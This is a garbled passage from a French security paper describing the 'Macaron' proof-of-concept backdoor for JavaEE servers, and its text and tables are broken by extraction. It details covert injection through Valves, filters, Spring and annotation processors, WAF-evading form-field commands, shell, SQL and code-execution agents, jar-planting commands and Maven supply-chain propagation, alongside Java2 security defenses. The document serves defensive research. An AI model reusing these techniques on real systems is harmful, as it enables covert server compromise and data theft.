Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

